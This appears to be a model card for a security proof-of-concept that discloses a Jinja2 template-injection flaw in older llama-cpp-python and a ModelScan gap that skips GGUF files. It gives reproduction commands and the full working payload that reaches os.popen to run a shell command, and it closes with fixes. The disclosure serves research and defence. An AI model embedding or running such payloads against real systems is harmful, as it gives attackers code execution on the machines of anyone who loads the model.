--- license: mit tags: - llama - gguf - security-research --- # GGUF Jinja2 SSTI – Security PoC **This is a security research proof-of-concept demonstrating a vulnerability in llama-cpp-python < 0.2.56 combined with ModelScan ≤ 0.8.8.** ## Vulnerability A GGUF model file can embed a Jinja2 SSTI (Server-Side Template Injection) payload inside the `tokenizer.chat_template` metadata field. - **ModelScan ≤ 0.8.8**: `.gguf` files are completely skipped (`SCAN_NOT_SUPPORTED`). CLI prints "No issues found! 🎉" — a false negative. - **llama-cpp-python < 0.2.56**: Chat template is loaded from GGUF at `Llama.__init__()` and rendered with an **unsandboxed** `jinja2.Environment` → arbitrary code execution at first inference call. ## Reproduction ```bash pip install modelscan==0.8.8 # Step 1: ModelScan bypass modelscan -p malicious_ace.gguf # → "No issues found! 🎉" (file was NEVER scanned) # Step 2: ACE trigger (requires llama-cpp-python < 0.2.56) pip install "llama-cpp-python==0.2.55" python3 -c " from llama_cpp import Llama model = Llama('malicious_ace.gguf', n_ctx=512, verbose=False) model.create_chat_completion(messages=[{'role':'user','content':'hello'}]) # uid=1000(user)... printed to stdout " ``` ## Payload Location The SSTI payload is stored in the GGUF `tokenizer.chat_template` field: ```jinja2 {%- set payload -%} {%- for c in ().__class__.__base__.__subclasses__() -%} {%- if c.__name__ == 'catch_warnings' -%} {{- c()._module.__builtins__['__import__']('os').popen('id').read() -}} {%- endif -%} {%- endfor -%} {%- endset -%} {{ payload }} ``` ## Fix - **ModelScan**: Add GGUF scanner; fix CLI to distinguish skipped vs. clean files - **llama-cpp-python**: Upgrade to ≥ 0.2.56 (fixed in commit `561e8806`, 2024-05-10) ## References - llama-cpp-python security fix: https://github.com/abetlen/llama-cpp-python/commit/561e8806 - ModelScan repository: https://github.com/protectai/modelscan